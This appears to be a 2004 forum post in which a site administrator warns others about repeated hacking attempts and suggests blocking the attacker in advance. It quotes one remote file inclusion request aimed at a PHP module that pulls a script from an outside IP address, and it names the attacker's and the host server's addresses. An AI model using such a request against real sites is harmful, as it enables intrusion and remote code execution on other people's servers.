Another one to look out for

Posted: Fri Jul 02, 2004 9:27 am

Got 17 attempts to hack into one of my sites today using this:

modules.php?name=http://211.78.137.195/In_chk.inc

The url is a link to a script. The server is Apache (looks like a temp job set up for hacking purposes), adsl-211-78-137-195.NH.sparqnet.net, open on port 80, ttl 227 is pretty much all I could get on the server. I have all the whois info on this IP and the one below.

The persistent kiddie was 64.106.152.130, all 17 attempts blocked by Sentinel. It looks like he/she was using a favorite trick of opening several windows to keep on the site to perisst after banning.

If you're not using Sentinel or some other site protection, you may want to block this joker in advance.